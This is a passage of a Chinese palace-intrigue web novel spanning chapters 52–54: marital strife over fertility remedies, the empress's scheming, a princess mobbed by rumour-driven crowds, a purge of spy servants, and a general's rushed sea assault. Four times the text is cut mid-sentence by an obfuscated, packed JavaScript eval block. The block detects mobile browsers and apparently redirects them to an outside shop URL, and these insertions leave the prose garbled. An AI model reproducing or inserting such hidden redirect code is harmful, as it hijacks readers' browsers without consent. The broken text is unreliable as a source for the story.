这种怪力乱神的四不像法子,不知是何等的病急乱投医才会相信,令虞静延更加不能接受的是,他心目最是聪慧通透的妻子,有朝一日竟然也会屈服,疯魔到宁愿让自己的身体受到不可逆转的伤害,也要放手一搏,追逐一个虚无缥缈的“小世子”。 张栩听见动静,很快进来准备把人带走,混乱吵闹中,一直沉默的祝回雪开口了。 “住手。” 祝回雪是这座王府的主母,平时也是十分得人心的,即使张栩是虞静延身边的红人,这时也要顾虑几分。果然,在她发话后,张栩等人纷纷停了下来,为难地去看虞静延的脸色。 当下气氛紧张,祝回雪却恍然未觉,脸色苍白却不见任何畏惧,对虞静延说:“这次胡夫人非旁人强塞,而是妾身请来的,药方和施针也都是经过妾身允准的。殿下要罚她,就请先罚妾身吧。” 这番话无异于火上浇油,望着她执拗的眉眼,虞静延怒火更甚:“你的身体经不起这种折腾,为什么要乱来?” “只要能为殿下生下小世子,为皇家诞下长孙,”祝回雪声音不大,却分毫没有胆怯,走近到虞静延面前,一字一句道:“妾身的身子,又算得上什么?” 府上最大的两位主子已经许久没有爆发过如今日一样大的争执,张栩见势不对,忙朝众人使了个眼色,暗示都退下。房门关上,只剩下虞静延和祝回雪两人,还是前者率先开口,打破了氛围的僵持。 妇人生育艰难,岂有万无一失诞下男孩的办法,她明明都清楚,却还是要难为自己。虞静延紧皱着眉,道:“我不在的这几日,出了什么事?” “殿下多虑了,什么都没有。只是妾身急于成事,所以才叫胡蝉来。” 她口中和脸上无不写着“拒绝沟通”,虞静延压着躁郁,沉声道:“王府的势力不需要依靠一个襁褓婴儿巩固,顺其自然,我已经说过很多次。操之过急只会适得其反,现在看来,你是半个字都没听进去。” 是啊,他总是嘴上说得好,让她不急看缘分,一边却用行动向她施压。心中的骄傲不允许祝回雪服软,她抬眼看他,面露自嘲:“殿下所说,当真是心里所想吗?” “你说什么?”虞静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364217|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延不知她所说话语中藏着什么深意,短暂地怔了一怔。 宽敞寂静的卧房里,只能听见偶尔烛火的噼啪声,祝回雪脸上没有争吵的激动,相反异常平静,如一朵经历过太多风雨已经释然的花。 她没有回答,稍稍提起自己柔顺的罗裙,冲对面的虞静延笑了笑:“殿下瞧瞧,妾身做的新衣好不好?” 虞静延不明所以,顺着她目光下去,见那布料柔滑如绸缎一般,表面灿光粼粼,很是好看。他隐约觉得不对,定睛一看,竟发现上面绣着的纹样不是寻常的蝴蝶百花,而是石榴,石榴百子纹。 虞静延的心一下子沉了下去。她饱读诗书,对于穿什么、戴什么一向讲究,这种样式的衣裳,以前她从来不会穿在身上。 祝回雪的声音在空旷中响起:“妾身已然尽力,但做不到的事,永远有其他人可以做到。所谓缘分……有些体面,就不必再强撑了。” 在虞静延眼里,她可以气愤,可以悲恸,唯独不能是这副什么都无所谓的姿态,就好像耐心和盼望悉数耗尽,对万事万物都不在乎了。 他的火气很快被勾了起来,像是被戳了痛处一样,上前一把扣住祝回雪的手腕:“体面?近日你待人冷淡,一边想方设法把我往别处推,一边背着人折磨自己,这就是你说的体面?我是期待有一个嫡长子,但也只是期待,不是放任你作践自己的理由!” 祝回雪被逼得一步步后退,直到床沿顶到膝弯,失去平衡仰面倒在床榻上,而一贯克己守礼的虞静延这次却没有放过她,也不顾外面天还大亮,直接扣住了她手腕,压在榻上。 灼热的呼吸扑洒在祝回雪身上,却没有了平时带来的安心和温暖,她逃无可逃,终于忍不住心里的委屈和绝望,紧闭上眼睛。 小气不行,大度不行,无动于衷不行,偷偷努力更不行。究竟怎么样才能让他满意? 身上愤怒又强势的动作陡然停下了。枕衾冰凉,虞静延抬起头,见她偏头躲避,不知何时已经泪水盈睫,全身上下都写着“拒绝”两字。眼前的场景如兜头一盆冷水下来,让虞静延从暴怒中彻底清醒了。 她难道她自己不想爱惜身子吗?她这样做是为了谁?她一心想为他生儿育女,他却毫不领情,甚至还想不顾她意愿…… 他怎么能强迫她? “别哭了,是我太冲动。”虞静延满心懊悔,动作轻柔地帮她整理好凌乱的衣襟,想要擦去她脸上斑驳的泪痕时,被她后缩躲开了。 “妾身自己来。”她声音低哑。 虞静延的手僵在原地,祝回雪唇色苍白,始终不肯看他一眼,分明近在咫尺,却像离了千百丈那么远。 这种感觉深深刺痛了虞静延,僵持片刻,他终是起身,与她拉开了距离。 那碗黢黑的汤药还放在床角的小几上,已经变得冰凉,不知里面含了什么罕见的药材,隐隐飘出一股异香。虞静延扫了一眼,想起方才院中下人按部就班守门的模样,只怕胡蝉今日已经不是第一次来,最坏的结果,就是在他不在玉京的这几天里,她已经接受过几次所谓的“调养”。 女子静静靠在榻上,看上去虚弱且疲倦。虞静延追问和道歉的话全都堵在喉中,最后只留下一句。 “王妃,你自己静静吧。” 他望了望她,抬起沉重的步子出了房门。 52. 平乱 夏日将过,暑气终于有了消退的态势,给人送来几分宜人的清凉,初秋九月,抱恙许久的长公主重归朝堂,萧绍经历过行宫时的贬官,如今也终于官复原职,重掌皇廷禁卫军。 东方既白,正是晨起时分,昨晚圣上宿在坤宁宫,到了早朝时候,一应宫人有序进内殿伺候梳洗。关皇后起身比平时早,坚持亲自为虞帝整理衣冠。后者展臂由人侍奉,道:“这种小事,皇后何必亲力亲为。” “别人来不够周到,妾身不放心。”关皇后温婉一笑,抚平龙袍衣襟上的一丝褶皱。 这些体贴入微的侍候,皇后的确数十年如一日。虞帝没再强求,接过钱顺海奉上的参茶一饮而尽。 宫门外传来战地急报,身穿甲胄的士兵匆匆进来,跪地道:“禀陛下,萧将军已与淮州军会师。” 虞帝:“知道了。” 士兵退下,关皇后为虞帝戴冠,笑道:“陛下放心,有继淮坐镇战场,想来东瀛翻不起什么风浪。” “朕不怕东瀛有何能耐,只担忧这浑小子不顾自己安危,此去一趟又要挂彩。”虞帝道。 东瀛气焰嚣张,袭击的沿海地带邻近淮州军驻地,事发突然,朝廷急派萧绍前往平乱。虞帝刚复了他的官职,本打算让他着手加固皇城禁军,好为即将到来的南江使团做准备,这下也不得不另寻他人。 与朝中已然功勋遍身的老将相比,萧绍作战风格强势,偏好猛烈追击不留机会,这种急风骤雨的战术容易扩大优势,但也更容易流血伤亡。自他接手淮州军,每年军中上报的抚恤金不见增长,他自己身上留下的伤疤却是越来越多了。 关皇后神情柔和听着,莞尔道:“陛下一向最宠继淮,从小连澜儿都要偷偷吃醋。” 此话看似随口,实际令虞帝想起了虞静澜。从行宫里惊马事件揭穿被发落,虞静澜被软禁在住处不得出门,回到玉京又被关在自己的府邸,连关皇后也不得随意探望,到现在满打满算也有两月了。 毕竟是从小宠到大的女儿,就算当时有再大的怒火现在也熄了。虞帝一叹,吩咐钱顺海:“朝会散后你去传旨,把她放出来吧。” 钱顺海忙应了。关皇后心中暗喜,但没有表现出来,而是多了些愧意:“是妾身教女无方,从小宠坏了澜儿,才让她一时糊涂向三公主下手,在梨花寨使者面前有损我大齐的颜面……” 虞帝已经不欲追究:“事已经过去,就不必再耿耿于怀了。” “是。”关皇后放下心,扶着侍女站起身来。 宫人悄然有序退出内殿,关皇后继续为虞帝理着冠前垂旒,又将话题引到了刚刚说过的萧绍身上:“继淮现在已经年过弱冠,陛下疼他,也该多考虑考虑他的婚事。” “朕虽看着他长大,但终究不是他生父。父母之命,媒妁之言,他的终身大事朕不能一人决断,还需问过萧侯的意思。” 此话正中关皇后下怀,顺势应和:“正是如此。妾身听坊间有传闻,说萧侯属意沈家七娘子为儿媳,已经与沈府谈妥,但继淮似乎有所顾虑,事态便僵持住了……” 萧侯与沈家来往频繁已久,这桩婚事虽然至今没有成形,但在玉京也传出过一些风声。虞帝手眼通天,自然不会不知情,也不意外关皇后会向他提起。萧家手握兵权,联姻之事非同小可,背后藏着的政治意义不言而喻,要是无人在意才是真的异常。 想起那天提起虞静央时萧绍的态度,玩笑试探中藏着认真,虞帝的脸色几不可察地一沉。 “这是继淮自己的婚事,自然要看他的意愿。若他与沈家娘子有情,朕岂有阻拦之理。” 虞帝说着,望了一眼关皇后:“淮州军是朕的股肱之师,不管继淮与何人成婚,都动摇不了萧家的立场。” “萧氏忠君,自当如此。”关皇后道。 晨钟三响,虞帝整理好朝服冠旒,带着一行人浩浩荡荡离开。关皇后携一众宫人蹲身恭送,眼中含着精光。 听陛下方才的意思,是同意了萧家和沈家联姻。如果萧绍当真迎娶沈家女,萧家倒戈,晋王一派将会势力大挫。 女官察觉出主子此时的好心情,恭恭敬敬上茶,笑道:“这下娘娘能放心了。有了陛下默许,只待萧侯和沈太仆谈妥,萧将军就算不愿也无济于事。” 现在没有别人,关皇后也不再掩饰心中愉悦,从从容容浅啜一口热茶。虽然没有确切的消息,但看这几个月萧绍的表现,仍不知对虞静央究竟怀着什么样的心思,现在,她只要全力促成萧沈两家的婚事,得到的会是事半功倍的回报。 思及此,关皇后翘起唇,问道:“近日宫外可有什么动静?” 坤宁宫盯着的无非那几处,女官心领神会,将眼线报回的消息禀明:“旁的倒没有什么,三公主近期安分,只是晋王府……” 关皇后眼中冷光一闪:“莫非我们的人让他抓住了把柄?” “娘娘多虑了。”女官忙否认,道出了实情:“此事说大不大,只是颇为奇怪。有天深夜,我们的人看见晋王妃身边的初桃带着几本书,偷偷出府去了书肆。” 听说不是朝政上的争端而是祝回雪的事,关皇后心头一松,旋即则觉察出一丝不正常的意味——祝氏喜好诗书,这一点人人皆知,若是寻常买书,白日光明正大去也没人置喙,何必鬼鬼祟祟? “她去做什么?” “暂时不知,初桃走后,我们的人进去看过,但那书肆掌柜的嘴极严,应该是已经被事先交代过了。” 这就有意思了。民间书肆遍地都是,听起来平平无奇,但如果利用得宜也能发挥出极大的作用,比如传播谣言、控制舆情。祝氏身边的侍女为掩人耳目低调行事,指不定就是受了虞静延的指使,打着这方面的主意。 “让他们继续打探,有什么动静立刻报回来。” 女官应道:“是。” 在前朝,虞静延素来以“公正磊落”得人心,他一贯装得好,如果这次当真想利用书铺造势,八成是因为南江使团将至的事。虞静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381796|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 央的去留未知,他是她亲兄长,可不就坐不住了吗? 可惜,如今被他们提前发现了蛛丝马迹。既然有人那么焦急,他们便顺水推舟,必要之时先下手为强。 关皇后心头浮上兴味,徐徐道:“南江使团就快到了,让人好生盯着虞静央的一举一动,莫要在这节骨眼上再出岔子。” --- 从前的豫阳长公主身体强健,而今许是年岁渐长,一场风寒断断续续快两月才好,好在病愈后精神如常,又能回归朝堂重掌政事了。今日正逢休沐,虞静央侍过药,陪着长公主说话。 “你兄嫂吵架,继淮在战场上,你倒是一个都不担忧,整日窝在我这儿躲懒。”长公主道。 虞静央弯了弯眼,继续为她捶肩:“其他事什么时候都能做,侍奉姑母却耽搁不得。” “油嘴滑舌。” 长公主乜她一眼,实际上心里也明白。南江人一日比一日近,顶多再有半月就要到来,若最后阿绥必须跟着南江人走,留给她们姑侄的时间就没有几日了。 也正是因此,她才必须要尽快回到朝廷,重新掌权。 长公主面色有些凝重,虞静央看得出来她心中所想,若无其事笑道:“哥哥和嫂嫂感情好,这次应该也只是小摩擦,姑母放心,改日我去劝劝。” 两人说着话,侍女进来通报:“苏博士来为殿下送奏疏。” 身为皇家内部地位举足轻重的人,长公主手上捏着宗政大权,与掌管仪礼祭祀的太常寺常有事务重合,苏昀则是太常座下的得力副手。 长公主应后,很快苏昀就进来了,身后跟着小厮捧着两叠奏疏,他向长公主和虞静央一一行过礼,放下要送的东西,同长公主寒暄几句后便告辞了。 天色不早,在苏昀走后约莫过了一炷香的功夫,虞静央也出了长公主府的大门,正要上马车时,身后却有人叫住了她:“三殿下。” 听见声音,虞静央先愣了一下,回头发现果然是苏昀。原来他没有走,一直在府外等着。 这里人多眼杂,虞静央使了个眼色,两人一前一后来到附近一处巷子里。等到四下无人,她停下脚步,疑惑道:“你有事对我说,方才为何不直接告诉我?难为你在外面等这么久。” 苏昀摇头,温声道:“你来探望长公主,我岂能贸然打扰。外面和风习习,稍站一会儿也令人神清气爽。” 他没把这点小麻烦放在心上,虞静央也只有回以笑意,故意说:“苏博士行事周到,我是挑不出错处。” “殿下谬赞。”听出她话中的调侃之意,苏昀无奈地笑了笑。 两人闲谈几句后,苏昀说起正题,脸色也凝重许多:“今日我特地等你,是觉得必须来给你报个信。南江使团沿大齐官道一路北上,已经进入中原,据探子来报,郁沧授意手下臣子沿路宣扬南江储妃——你的美名,试图左右民间传闻风向,让人认为你与他情意美满……兵马未到,舆论先行,这种行为,是在变相向大齐朝廷施压。” 53. 围困 “这……” 虞静央想扮作冷静,通透的杏眸里却仍流出忧惧之色。苏昀见她不安,忙宽慰道:“殿下别怕,我说这些并非想要你忧虑。南江人踏在大齐的土地上,却想要南江之事口耳相传,未免太异想天开,陛下得知后立刻派出了人手,想必很快就能压下来。” 虞静央似乎成功被安抚到,发白的脸色有所好转,低喃道:“那就好。我就知道,父皇不会弃我于不顾的……” 苏昀于心不忍,只有叹了口气,继续道:“形势未定,陛下的心意我无从窥知,但我知道南江人为了请你回去,准备了极为丰厚的筹码。利益面前,朝中难保不会动摇,你……一定要小心。” 远处山间夕阳半落,时辰已晚,二人交谈片刻后互相告辞。马车沿着大街缓缓行驶,虞静央手撑着头,刚才慌乱的神态消失得无影无踪,取而代之的是一片凛意。 控制民间言论的战术一贯是郁沧的拿手好戏,若非如此,五年前她也不会信了坊间说他“端方明礼,贤能有德”的传闻,冲动地把自己推入深穴火海。但今时不同往日,他会装,她比他更会。 虞静央眉目清冷,如同覆了层寒霜。郁沧试图顺着道途攻占民声阵地,但他的手还够不到玉京来,为了自保,自己也该做准备了。 “这马车刻着公主府的符牌,好像是宣城公主!” “真是宣城公主!” “快把车拦下!” 马车外人声嘈杂,突然响起一阵分外清晰的议论声。虞静央愣了愣,思绪被现实拉回来,听见晚棠又惊又怒的厉喝:“你们要做什么?都退下!” 虞静央悄然把车窗打开一个缝隙,竟发现自己被百姓包围了。而那些百姓大多满脸气愤,指着她唇齿开合,看上去来势汹汹,实在不像友好的模样。 “公主!公主你出来!” “为什么不肯回南江!” 七嘴八舌的声音越来越近,逐渐混乱的气氛令人心慌,显露出异样的疯狂。虞静央匆匆关上车窗,下一瞬,耳畔炸开一声东西碎裂的闷响。 “啪——!” 她一激灵,慢半拍回头望,见结实的窗纸上隐隐约约显露出一团黄白色的濡湿痕迹,又湿又黏。 是鸡蛋。 “保护殿下!”事态濒临失控,晚棠和护卫守在马车周围,竭力阻止暴怒的百姓上前。晚棠不明所以,情急之下也顾不上讲究分寸礼数,气急败坏道:“你们都疯了吗?殿下一向与人为善,从不为难百姓,到底和你们结了什么仇什么怨!” “南江人要为了她开战,用不了几天就要打过来了!她再不走,我们所有人都得为她陪葬!” “皇亲国戚整日过得舒心,却要我们平头百姓豁出命补天!五年前我的夫君已经死在战场上,倘若开战再度征兵,还要再牺牲我的儿子吗!” 谩骂声里夹杂着妇人的哀泣,虞静央因紧张而狂跳的心停顿了一刹,旋即沉了下去,从混乱中分辨出了事情原委。她动手太迟了,已经有人在玉京拱火传谣,说南江人派使者前来迎她回去,如果她不肯,就要再度发动战争。 说起来,前几日她就听到过一些不友善的风声,但这些小动作威力不大,几乎没有翻出水花,她以为烧不起来,以防万一,更未雨绸缪派出过人手前去化解,却收效甚微,如今这些对她不利的传言不知何时如长翅膀般飞了起来,十传一一传百,直接导致了今日的惊险状况。 “既然已经嫁给了南江人,你为什么还要回来!” 危机面前,人的第一反应是自保。外面疯狂的人潮和她仅隔着一层马车,直接堵塞了整条大街,大有一发不可收拾之势,虞静央扶住车沿急喘着气:“晚棠,快去叫人!” 晚棠被人挤得狼狈,听后反应过来,立刻钻出人群奔了出去,护卫步步后退,空出的安全地带越缩越小。 “求宣城公主随南江使团归国!” 整齐的山呼声一字不落地传进了虞静央的耳朵,马车的小空间愈发显得封闭,她艰难地大口呼吸着,控制不住眼前阵阵发黑。 南江蔑视她,大齐厌弃她……从嫁给郁沧的那一天起,她就不是当初那个人人喜欢的三公主了。 “官兵来了!”有人声音惊慌。 “退下,全都退下!” 整齐有力的脚步声踩在地上,皇城禁军闻风而来,迅速接管了护卫的差事。虞静央掀开车帘的瞬间,苏昀穿过混乱赶到马车前,高大的身形遮住陡然刺眼的光亮,把她紧紧挡在了身后。 即使禁军控制了局面,看见虞静央现身,仍有偏激的人想要冲上前,嘴里不停念叨着。苏昀半步未退,道:“谣言乱真,不可听信,此次南江使团前来是为了商议盟约,并无任何敌意之举,外交政事亦与公主无关。” 人群里仍有执拗之人被冲昏了头脑,回顶道:“苏博士替她说话,他日南江人打进玉京,你能落着什么好!” 苏昀胸膛起伏,急怒的语气一改平时的温润平和:“就算南江要开战,也是因为与我大齐官府的矛盾,公主何辜!苏某不解,宣城公主柔弱之身,在诸位眼里却有如此大的能耐,竟能以一己之力左右两国战事!” 有禁军在,簇拥的人潮很快被冲散,为马车让出了一个脱身的豁口。趁此机会,苏昀控制住马缰一扬,带着马车冲了出去。 晚棠出去求援,气喘吁吁带着人手回来,赶到近前后大为意外,原来公主已经得救了。跟随她匆忙过来的萧府护卫也一愣,看清了那个带着虞静央离开的青衣男子是谁。 为首的护卫首领狐疑:“苏博士,他怎么会在这儿?” “刚才苏博士去长公主府送奏章,与殿下巧遇。”晚棠尴尬,解释道。 出事的地点离萧绍的府邸最近,虽然主人不在,但还是可以求助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414927|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。她冲出人群后直奔萧府,萧府的护卫听说后也二话不说就跟她赶了过来,没想到会扑了个空,还让他们看见了苏昀。 “原来是这样。” 一群护卫静静望着那辆马车远去,晚棠摸不着头脑,眼前众人看起来个个高大磊落,怎么会让她看出一丝阴暗的……敌意? 护卫首领把刀收回刀鞘,道:“回去立刻给将军传信。” 手下颇为认同,纷纷点头。晚棠不敢说话,心里却更疑惑了——公主已经脱身,有惊无险,反观萧将军现在在战场上,关键时候更不该使他分神,为何不能等到他回来再禀报呢? …… 等到全部事情处理完,虞静央回到自家府邸时,天已经完全黑了。她扶着晚棠的手慢慢往内室走,疲倦的眸光有些无神,留在府上的侍女小厮不明情况,都不敢贸然询问,只有远远缀在她身后观望。 房门关上,虞静央脚下一踉跄,险些跌倒,晚棠吓了一跳,忙扶着人坐到软榻上:“殿下怎么样?要不要奴婢传个郎中来……” 虞静央摇了摇头,脸色白如宣纸。从她被救出马车已经过去一个多时辰,可那种呼吸困难的窒息感却久久不能散去,如同被人扼住了咽喉。 从小巷离开后,她和苏昀反向而行,出事的时候恰巧苏昀还没有走远,听到动静匆匆去找了正在巡防的皇城禁军,这才成功从人群中解救了她。 马车头也不回地向前行,把那些人远远地甩在身后,依然能听见高昂的喊声“求宣城公主返回南江”。 大齐,这是她费尽心机和力气,九死一生才逃回来的故土。就在她满心依赖它、眷恋它的时候,这片土地上的人们却想把她驱逐出去。她气急攻心,委屈又不甘地想要发怒,可理智又告诉她:事出有因,不该记恨任何一个人。 门外有人通传:“殿下,晋王府的张管事来了,带了好些东西。” 定是兄长得知了今日的事,又因公务暂时走不开,所以才会派张栩先来探望。可虞静央现在不愿见任何人,道:“让他回去复命吧,就说我没事,已经歇下了。” 下人依言去回,晚棠给她倒了杯热茶暖身子,轻声安抚:“殿下,今日之事非百姓所愿……” 许是手心捧着温热的茶盏,心也有所回暖,虞静央脸色稍微恢复了一点,空荡的内室响起她低低的声音。 “我知道,他们是被有心人牵着走了。” 五年前那场大战对大齐的伤害太大了,生灵涂炭的代价让所有人胆怯,对南江人更是视之如虎狼。心中留下了浓重的阴影,就容易反应过激,被谣言牵着鼻子走,百姓们不懂那些复杂的政治博弈,却清楚一件事——一旦战争打响,随之而来的就是妻离子散、家破人亡。 所以,哪怕是从前最得民心的公主,哪怕他们不久前还在叹息扼腕,同情她的遭遇……在家国性命面前,什么都不值一提。 54. 败将 主仆俩说着话,门外传来微弱的窸窣声。晚棠听见动静,声音陡然严厉了几分,冲着外面:“不是让你们退下吗,谁在外面!” “殿下,是我。”一道略带谄媚的声音隔着门响起,是柳素。 虞静央刚刚经历了一场惊险的变故,更无心同她虚与委蛇,皱眉问道:“什么事?” 柳素态度殷勤:“先前殿下说房中器物旧了,便挑着撤下去了几件,今日奴婢特意到库房择选了新的,过来为殿下补上。” 想进来补充物件,不选她白天不在的时候,偏偏要这时候来?虞静央在心里冷笑一声,亲自起身走到门前打开。 她是打开了,只不过自己正正堵在门前,看上去并没有放人进去的想法。柳素干笑着道:“奴婢进去为殿下……” “拿了什么东西?我看看。”虞静央不理会,自顾自查看起银盘里放着的几件器物,有一幅古画,两尊花瓶并几个摆件。 “这个花瓶,我记得是皇后赏的吧?”虞静央拿起一个,似是随口问。 她站在门口不让,柳素进不去,硬着头皮答道:“正是。奴婢觉得不错,便自作主张挑了出来,若殿下不喜欢这个,奴婢就另去换。” 虞静央不置可否,把花瓶搁在一边,又看其他的,仔细端详后分辨出一幅画是《太姒嗣徽图》,另一副乌木螺钿屏风上则雕刻着《帝姬奉案》的纹样。[1] 一个敲打她遵孝道,一个提醒她安分守己,如何不算是用心良苦? 关于柳素有问题这件事,她很早之前就有了怀疑,后来在萧绍的帮助下得到了确认。那次他不请自来,拿走了她最喜欢的那朵珠花。之后,外面的雨渐渐停了,他依然赖着不走,虞静央正想着如何体面地下逐客令,思及近日的烦心事,忽地计上心来。 “我怀疑我府上的人有问题。”她立马走回到他面前。 萧绍眉一挑,问:“怎么发现的?” 这句话是虞静央经过长期观察发现了许多端倪才敢说出来的,不是只凭之前燕窝粥的事,更不是一时兴起的指控。但蛛丝马迹太多了,她一时说不完,只好道:“说来话长,反正就是有问题。” “既然怀疑,那就亲眼去看看。” 萧绍二话不说要拉着她出门,虞静央微惊,立马制止他:“就这样出去岂不是打草惊蛇?他们会伪装,我们抓不住证据的。” “也对,换个法子。”萧绍看看紧闭的房门,改变了主意。 说罢,萧绍把朝向后院的窗牖大开,先带虞静央翻了出去,落地后一手稳稳揽住她腰,脚在廊柱前一踩,两人身形登时拔高数尺,离开地面。 疾风在脸颊边呼呼地刮,等到虞静央睁开眼,发现自己已经踩上了足以俯瞰整座府邸的房顶。但这里还看不到他们想看的,萧绍带着她越过数座院落,最后到了府上下人的居所附近,居高临下的视角,能把所有可疑的人和事尽收眼底。 在这里,虞静央亲眼目睹了柳素向围墙外递送消息的一幕。后面几日,她又查出了他们碰头的具体时间,以及潜伏在府上同柳素为伍的同党。 …… 虞静央撂下手里价值连城的物件:“柳素,今日我在外面发生的事,你应该已经知道了吧。” “奴婢惶恐,殿下没有提起,府上皆无从知晓……”柳素摇头,战战兢兢否认。 她装作不知,虞静央轻哂,晚棠会意,把事从头到尾完完整整复述了一遍。 “竟有如此恶事!殿下没受伤吧?”柳素听了仿佛极其震惊,心疼地把虞静央上下检查一番,义愤填膺道:“能被那些人围住,可见跟随殿下出行的护卫身手平平,疏于职守,今后不如另换一批护卫,奴婢亲自为殿下挑选几个好的……” 虞静央露出个讽刺的笑:“不劳你费心了。” 她话音落下,外院传来喧哗哭求声,侍卫押着几个形容狼狈的侍女小厮进来,向虞静央禀报:“殿下,这几人胆敢盗窃府上用物,证据确凿,已经悉数搜出,这些则是从柳素姑姑那搜到的。” 虞静央上前查看,在看清失而复得的东西有哪些时怒极反笑,指着柳素道:“我就说你为何着急在我的卧房换上新的物件,原是你贪婪心起,等不及要把上一批换下去的吞进自己肚子!” “奴婢冤枉!”柳素脸色煞白,扑通一声跪在地上,全然没有料到这一意外。台阶下跪着的人也是叫冤声连天,虞静央眼都没眨一下,发话道:“手脚不干净的东西,我公主府留不得,把他们都带走,发卖到乡下庄子去!” 柳素剧烈挣扎着,发现被抓住的那些下人每个都熟悉得不能再熟悉,顿时明白了什么。根本没有什么偷盗窃取,是虞静央随意寻了个由头在排除异己! 柳素原形毕露,不死心地大声叫骂:“我是关皇后的人,你岂敢动我!三殿下!我们都是皇——” “堵上她的嘴!”虞静央喝斥,手脚麻利的侍卫立刻上前。柳素浑身被麻绳捆住,说不出话,只有狼狈地被押在地上,不甘心地唔唔着。 虞静央一步步走上前,蹲下身,那双总是柔婉无害的杏眸眯了起来,流露出凛冽的寒光,紧接着扬起手,重重打了她一耳光。 “啪——!” 柳素毫无防备,虽然身后有人押着但还是被打得偏过头,脸上登时显出一片红痕。仿佛被这一巴掌打得清醒过来,她说不出话,眼中却明显浮起恐惧,想要挣扎着向后退,却又动弹不得。 主子罕见发怒,四周下人无一不低着头。虞静央仍蹲在柳素面前,唇齿开合,声音之轻只有她一人能听见:“正是因为知道你们是她的人,我才更要快刀斩乱麻。细作、谣言、枕边风,阴谋阳谋她样样都用了,下一招会是什么?” 她最好确定,下次能直接毁了我。 虞静央心中如是道,随后不再多看一眼,从容起身:“带下去。” --- 淮州军营,一场激烈的交战刚刚结束,海面上浪花翻涌,仍传来炮火的隆隆声。 东瀛贼心不死,不过是一介贫瘠的海上小国,还妄想从大齐边疆搜刮利益,像只苍蝇一般赶也赶不走。此前已经发生过多次类似的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439512|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况,但由于损失微小,朝廷也就一直没有理会。但东瀛人贪心不足,这次是愈发变本加厉地窃夺财富,大齐自然没有逆来顺受的道理,该出手时就出手。 萧绍奉旨挂帅出兵,不到一个月的时间已经把敌兵赶出了大齐的陆上领地。此时战火暂歇,他正在帐中查阅军报,副将萧平匆匆进来,禀道:“将军,玉京有报。南江储君率领的使团队伍现下已进入丹州地界,怕是会提前到达玉京。” 如此突如其来的消息,萧绍手里沾满墨汁的毛笔没拿稳,直接摔到了雪白的宣纸上。他猝然起身,呼吸急促:“还要几日到?” 萧平:“算算路程,顶多两三日。” 以南江王都到玉京的地形和路线距离,正常速度赶路的话至少要二十日,这还算快的。按照萧绍原本的打算,自己击退东瀛回去的时候恰好能赶上南江使团入京,就算有偏差也只是一日半日,总之不会太远。而现在,南江人比预计到达的日期将要提前整整七日,可见路上紧赶慢赶,早已迫不及待了。 至于究竟是为何而迫不及待,是为早日入京与大齐朝廷商议政事,还是为了早点见到她? 萧绍再也坐不住,召集诸将到帅帐商议,问道:“困在岛上的东瀛人现在还有多少?” 副将抱拳答道:“倭贼已经溃散,剩下的不过两千之数,我们的人在对岸徐徐图之,不出三日便能悉数清剿!” 太慢了。 萧绍思量片刻,下令道:“检查军船和火炮,今夜我亲自上阵,点兵八百,渡海突袭。” 像回击东瀛这种级别的战事远远不必主帅上阵,萧绍这次来本也只是起到一个坐镇指挥的作用,几日来一直由麾下部将领兵上阵。几个初出茅庐的小将一听急了,阻止道:“倭人实力平平,何需元帅亲自出马?况且这次我军采取怀柔战术,希望伤亡少上加少,倘若兵行险招……” 萧绍不语,片刻就有资历高的老将替他说话了:“东瀛士气颓靡,剩的不过是些残兵败将,今夜我们动手,将是必胜之局。一直拖下去,万一等来了他们的援军,我们又要经历几场恶战。” 有老将军的附和,异议声渐渐小了下去,但还是有个别人心有顾虑:“陛下先前吩咐要萧将军毫发无损地回来,今日打急战,万一……” “行伍之人想回避伤痕,不如回家种地来得稳妥。”萧绍说道,黑眸中写着毋庸置疑,“今夜打赢后,你们该清点清点,该庆功庆功,不必理会我。我有急事,先一步回京。” …… 深夜,明月高悬海上,涌动的波澜映着轻甲寒光。乘着静谧的夜色,几面战旗悄然靠岸,烧红的火炮口终于惊醒了东瀛人迷蒙的眼。 “轰隆隆——!” 